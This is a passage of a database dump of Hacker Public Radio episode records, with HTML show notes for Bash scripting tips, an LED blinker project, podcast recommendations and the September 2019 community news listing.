tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 “<em>Some additional Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 “<em>Some other Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2278\">HPR episode 2278 “<em>Some supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2293\">HPR episode 2293 “<em>More supplementary Bash tips</em>”</a></li>\r\n</ol></li>\r\n<li>Resources:\r\n<ul>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2639/bash9_ex1.sh\">bash9_ex1.sh</a></li>\r\n</ul></li>\r\n</ul>',225,42,1,'CC-BY-SA','Bash,test,true,false',0,0,1),
(2649,'2018-09-27','More ancillary Bash tips - 10',1372,'Making decisions in Bash (part 2)','<h1 id=\"more-ancillary-bash-tips---10\">More ancillary Bash tips - 10</h1>\r\n<h2 id=\"making-decisions-in-bash\">Making decisions in Bash</h2>\r\n<p>This is my tenth contribution to the <a href=\"https://hackerpublicradio.org/series.php?id=42\" title=\"*Bash Scripting* series\"><em>Bash Scripting</em></a> series under the heading of <em>Bash Tips</em>. The previous episodes are listed below in the <a href=\"#links\">Links</a> section.</p>\r\n<p>We are currently looking at decision making in Bash, and in the last episode we examined the tests themselves. In this episode we’ll look at the constructs that use these tests: looping constructs, conditional constructs and lists of commands.</p>\r\n<p><strong>Note</strong>: this episode and the preceding one were originally recorded as a single episode, but because it was so long it was split into two. As a consequence the audio contains references to examples such as <code>bash9_ex2.sh</code> where the true name is <code>bash10_ex1.sh</code>. The notes have been updated as necessary but not the audio.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2649/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html\">“<em>GNU BASH Reference Manual</em>”</a>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Looping-Constructs\">“Bash Looping Constructs”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Conditional-Constructs\">“Bash Conditional Constructs”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Bourne-Shell-Builtins\">“Bourne Shell Builtins”</a></li>\r\n</ul></li>\r\n<li><a href=\"https://hackerpublicradio.org/series.php?id=42\">HPR series: <em>Bash Scripting</em></a></li>\r\n<li>Previous episodes under the heading <em>Bash Tips</em>:\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 “<em>Bash parameter manipulation</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 “<em>Some Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 “<em>Some more Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 “<em>Some further Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 “<em>Some additional Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 “<em>Some other Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2278\">HPR episode 2278 “<em>Some supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2293\">HPR episode 2293 “<em>More supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2639\">HPR episode 2639 “<em>Some ancillary Bash tips - 9</em>”</a></li>\r\n</ol></li>\r\n<li>Resources:\r\n<ul>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2649/bash10_ex1.sh\">bash10_ex1.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2649/bash10_ex2.sh\">bash10_ex2.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2649/bash10_ex3.sh\">bash10_ex3.sh</a></li>\r\n</ul></li>\r\n</ul>',225,42,1,'CC-BY-SA','Bash,test,while,until,if,case',0,0,1),
(2659,'2018-10-11','Further ancillary Bash tips - 11',1702,'Making decisions in Bash (part 3)','<h1 id=\"further-ancillary-bash-tips---11\">Further ancillary Bash tips - 11</h1>\r\n<p>This is the eleventh episode in the <em>Bash Tips</em> sub-series. It is the third of a group of shows about making decisions in Bash.</p>\r\n<p>In the last two episodes we saw the types of test Bash provides, and we looked briefly at some of the commands that use these tests. Now we want to start examining the expressions that can be used in these tests, and how to combine them. We will also start looking at string comparisons in extended tests.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2659/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html\">“<em>GNU BASH Reference Manual</em>”</a>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Conditional-Constructs\">“Bash Conditional Constructs”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Bash-Conditional-Expressions\">“Bash Conditional Expressions”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Bourne-Shell-Builtins\">“Bourne Shell Builtins”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#The-Set-Builtin\">“The <code>set</code> Builtin”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Pattern-Matching\">“Bash Pattern Matching”</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html\">“<em>POSIX Shell Command Language</em>”</a> - documentation of all of the POSIX features mentioned in this series.</p></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/series.php?id=42\">HPR series: <em>Bash Scripting</em></a></p></li>\r\n<li>Previous episodes under the heading <em>Bash Tips</em>:\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 “<em>Bash parameter manipulation</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 “<em>Some Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 “<em>Some more Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 “<em>Some further Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 “<em>Some additional Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 “<em>Some other Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2278\">HPR episode 2278 “<em>Some supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2293\">HPR episode 2293 “<em>More supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2639\">HPR episode 2639 “<em>Some ancillary Bash tips - 9</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\">HPR episode 2649 “<em>More ancillary Bash tips - 10</em>”</a></li>\r\n</ol></li>\r\n<li>Resources:\r\n<ul>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2659/bash11_ex1.sh\">bash11_ex1.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2659/bash11_ex2.sh\">bash11_ex2.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2659/bash11_ex3.sh\">bash11_ex3.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2659/bash11_ex4.sh\">bash11_ex4.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2659/bash11_ex5.sh\">bash11_ex5.sh</a></li>\r\n</ul></li>\r\n</ul>',225,42,1,'CC-BY-SA','Bash,test,conditional expression,string comparison,pattern',0,0,1),
(2645,'2018-09-21','Blinking LED',1390,'In this live show, Ken sees if he can follow simple instructions','<p>\r\nDuring the New Year Show Ken soldered a component tester. Unfortunately this did not work. \r\n</p>\r\n<p>\r\nNYBill offered to fix it and he succeeded in his show <a href=\"https://hackerpublicradio.org/eps.php?id=2591\">hpr2591 :: International Troubleshooting</a>. When he shipped it back he included two 555 timers with the message: <em>Now, figure out how to make LED\'s blink\r\nwith those 555\'s! </em> \r\n</p>\r\n<p>\r\n\r\nIn this show Ken uses the online guide <a href=\"https://www.instructables.com/id/Flashing-LED-using-555-Timer/\">FLASHING L.E.D. USING 555 TIMER</a> By <a href=\"https://www.instructables.com/member/Trilesto/\">Trilesto</a> to do this. \r\n</p>',30,103,1,'CC-BY-NC-SA','555, NYBill, pico, nano',0,0,1),
(2640,'2018-09-14','Another Rambling Drive Into Work',835,'An second attempt at making a show on the way into work','<p>It’s been a while since I posted my first attempt at recording a show in my car, this attempt was recorded not that long after that but I’d forgotten to post it, hopefully, it’s not too boring.</p>\r\n<p>This is the previously mentioned dictation device I used<br />\r\n<a href=\"https://www.amazon.co.uk/HccToo-Multifunctional-Rechargeable-Dictaphone-Conversation/dp/B015H9JP6S/ref=sr_1_1?ie=UTF8&amp;qid=1502381150&amp;sr=8-1&amp;keywords=dictation+machines\" class=\"uri\">https://www.amazon.co.uk/HccToo-Multifunctional-Rechargeable-Dictaphone-Conversation/dp/B015H9JP6S/ref=sr_1_1?ie=UTF8&amp;qid=1502381150&amp;sr=8-1&amp;keywords=dictation+machines</a></p>\r\n<p>An article that explains how to remove noise using Audacity, which was what dodddummy was talking about when he commented on my first show on <a href=\"https://hackerpublicradio.org/eps.php?id=2377\">HPR2377</a> <a href=\"https://www.podfeet.com/blog/recording/how-to-remove-noise-with-audacity/\" class=\"uri\">https://www.podfeet.com/blog/recording/how-to-remove-noise-with-audacity/</a></p>\r\n<p>Link to Dave’s (<code>thelovebug</code>) page and the original John Kulp’s $2 microphone show that kicked all this off. Looking forward to getting a chance to catch up with Dave’s drive into work show. Refer to Dave’s episode <a href=\"https://hackerpublicradio.org/eps.php?id=2400\">HPR2400</a> and John Kulp’s original $2 microphone show <a href=\"https://hackerpublicradio.org/eps.php?id=1812\">HPR1812</a></p>\r\n<p>Link to the microphone originally recommended By John Kulp<br />\r\n<a href=\"https://www.amazon.co.uk/Neewer-3-5mm-Hands-Computer-Microphone/dp/B005DOTSM4/\" class=\"uri\">https://www.amazon.co.uk/Neewer-3-5mm-Hands-Computer-Microphone/dp/B005DOTSM4/</a></p>\r\n<p>A link from StackExchange that details the wiring diagram for Kenwood style microphone used in many portable Amateur radios<br />\r\n<a href=\"https://ham.stackexchange.com/questions/1891/whats-the-pinout-for-kenwood-2-5mm-trs-3-5-mm-trs-connector\" class=\"uri\">https://ham.stackexchange.com/questions/1891/whats-the-pinout-for-kenwood-2-5mm-trs-3-5-mm-trs-connector</a></p>\r\n<p>This is a small article in Wikipedia that covers the Electret Microphone which is the type used in the microphone recommended by John Kulp, Dave (<code>thelovebug</code>) and now me.<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Electret_microphone\" class=\"uri\">https://en.wikipedia.org/wiki/Electret_microphone</a></p>\r\n',201,0,1,'CC-BY-SA','recording, podcasting, audio, microphone, car, Audacity',0,0,1),
(2642,'2018-09-18','My swedish and german Podcasts Part 2',318,'I talk about 6 more podcasts in swedish and german. This time no radio network involved.','<ul>\r\n<li><strong>Helt sant</strong> <a href=\"https://api.sr.se/api/rss/pod/20447\" class=\"uri\">https://api.sr.se/api/rss/pod/20447</a></li>\r\n<li><strong>Brysselbubblan</strong> <a href=\"https://brysselbubblan.libsyn.com/rss\" class=\"uri\">https://brysselbubblan.libsyn.com/rss</a></li>\r\n<li><strong>Fri tanke podcast</strong> <a href=\"https://fritanke.podbean.com/feed/\" class=\"uri\">https://fritanke.podbean.com/feed/</a></li>\r\n<li><strong>Chaosradio</strong> <a href=\"https://chaosradio.ccc.de/chaosradio-latest.rss\" class=\"uri\">https://chaosradio.ccc.de/chaosradio-latest.rss</a></li>\r\n<li><strong>Radio Tux</strong> <a href=\"https://radiotux.de/podcast/rss/radiotux-all_ogg.xml\" class=\"uri\">https://radiotux.de/podcast/rss/radiotux-all_ogg.xml</a></li>\r\n<li><strong>Heiseshow</strong> <a href=\"https://www.heise.de/heiseshow.rss\" class=\"uri\">https://www.heise.de/heiseshow.rss</a></li>\r\n</ul>\r\n',309,75,1,'CC-BY-SA','podcast,swedish,german,ccc',0,0,1),
(2916,'2019-10-07','HPR Community News for September 2019',4081,'HPR Volunteers talk about shows released and comments posted in September 2019','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2891\" target=\"_blank\">2891</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-09-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2891\" target=\"_blank\">HPR Community News for August 2019</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2892\" target=\"_blank\">2892</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-09-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2892\" target=\"_blank\">Stardrifter RPG Playtest Part 02</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2893\" target=\"_blank\">2893</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-09-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2893\" target=\"_blank\">Whats in the box! Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2894\" target=\"_blank\">2894</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-09-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2894\" target=\"_blank\">Repairing a Musical Instrument Case</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2895\" target=\"_blank\">2895</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-09-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2895\" target=\"_blank\">The work of fire fighters, part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2896\" target=\"_blank\">2896</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-09-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2896\" target=\"_blank\">Orange PI Zero LTS version</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2897\" target=\"_blank\">2897</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-09-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2897\" target=\"_blank\">Stardrifter RPG Playtest Part 03</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2898\" target=\"_blank\">2898</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-09-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2898\" target=\"_blank\">Modeling people in space game</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2899\" target=\"_blank\">2899</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-09-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2899\" target=\"_blank\">Endeavour OS</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2900\" target=\"_blank\">2900</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-09-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2900\" target=\"_blank\">Better Social Media 01 - Introduction</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2901\" target=\"_blank\">2901</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-09-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2901\" target=\"_blank\">Describing how I listen to podcasts PART 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2902\" target=\"_blank\">2902</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-09-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2902\" target=\"_blank\">Stardrifter RPG Playtest Part 04</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2903\" target=\"_blank\">2903</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-09-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2903\" target=\"_blank\">What is PMEM</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2904\" target=\"_blank\">2904</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-09-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2904\" target=\"_blank\">DIY URL shortening</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2905\" target=\"_blank\">2905</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-09-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2905\" target=\"_blank\">Two HPR hosts living in the same region finally meet up!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2906\" target=\"_blank\">2906</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-09-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2906\" target=\"_blank\">Feature Engineering for Data-Driven Decision Making</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2907\" target=\"_blank\">2907</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-09-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2907\" target=\"_blank\">Stardrifter RPG Playtest Part 05</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2908\" target=\"_blank\">2908</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-09-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2908\" target=\"_blank\">Modeling opinions in space game</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2909\" target=\"_blank\">2909</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-09-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2909\" target=\"_blank\">ONICS Basics Part 3:  Networking Fundamentals</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2910\" target=\"_blank\">2910</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-09-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2910\" target=\"_blank\">Better Social Media 02 - Pluspora</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2911\" target=\"_blank\">2911</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-09-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2911\" target=\"_blank\">my internet connection</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 17 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 3 comments on\n3 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1328#comments\" target=\"_blank\">hpr1328</a></strong>\n(2013-09-04) \"<em>A Hacker\'s Perspective On Schizophrenia </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1328#6\" target=\"_blank\">Comment 6</a>:\nVegewurst on 2019-09-06:\n\"Insightful\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2844#comments\" target=\"_blank\">hpr2844</a></strong>\n(2019-06-27) \"<em>The Sony TC-222-A Portable Reel-To-Reel Tape Recorder</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2844#1\" target=\"_blank\">Comment 1</a>:\nMichael on 2019-09-29:\n\"Muffled sound because of low path filtering.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2881#comments\" target=\"_blank\">hpr2881</a></strong>\n(2019-08-19) \"<em>Automatically split album into tracks in Audacity</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2881#2\" target=\"_blank\">Comment 2</a>:\nHipstre on 2019-09-01:\n\"2881 - Audacity: Split Album into Tracks\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 14 comments on 9 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2891#comments\" target=\"_blank\">hpr2891</a></strong>\n(2019-09-02) \"<em>HPR Community News for August 2019</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2891#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2019-09-02:\n\"Where was Ken ?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2891#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2019-09-03:\n\"Heroic effort!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2891#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2019-09-04:\n\"Thanks Jon\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2893#comments\" target=\"_blank\">hpr2893</a></strong>\n(2019-09-04) \"<em>Whats in the box! Part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2893#1\" target=\"_blank\">Comment 1</a>:\ntimttmy on 2019-09-05:\n\"Trem pedal\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2893#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2019-09-06:\n\"No delay\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2893#3\" target=\"_blank\">Comment 3</a>:\nNYbill on 2019-09-07:\n\"Hit and Miss\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2895#comments\" target=\"_blank\">hpr2895</a></strong>\n(2019-09-06) \"<em>The work of fire fighters, part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2895#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2019-09-06:\n\"Very dissapointed\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2895#2\" target=\"_blank\">Comment 2</a>:\nSteve on 2019-09-10:\n\"Volunteer Firefighters\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2903#comments\" target=\"_blank\">hpr2903</a></strong>\n(2019-09-18) \"<em>What is PMEM</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2903#1\" target=\"_blank\">Comment 1</a>:\narcher72 on 2019-09-27:\n\"Awesome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2904#comments\" target=\"_blank\">hpr2904</a></strong>\n(2019-09-19) \"<em>DIY URL shortening</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2904#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2019-09-23:\n\"clever\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2906#comments\" target=\"_blank\">hpr2906</a></strong>\n(2019-09-23) \"<em>Feature Engineering for Data-Driven Decision Making</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2906#1\" target=\"_blank\">Comment 1</a>:\narcher72 on 2019-09-27:\n\"Nice show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2907#comments\" target=\"_blank\">hpr2907</a></strong>\n(2019-09-24) \"<em>Stardrifter RPG Playtest Part 05</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2907#1\" target=\"_blank\">Comment 1</a>:\narcher72 on 2019-09-27:\n\"Nice series\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2909#comments\" target=\"_blank\">hpr2909</a></strong>\n(2019-09-26) \"<em>ONICS Basics Part 3:  Networking Fundamentals</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2909#1\" target=\"_blank\">Comment 1</a>:\narcher72 on 2019-09-27:\n\"Interesting\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2910#comments\" 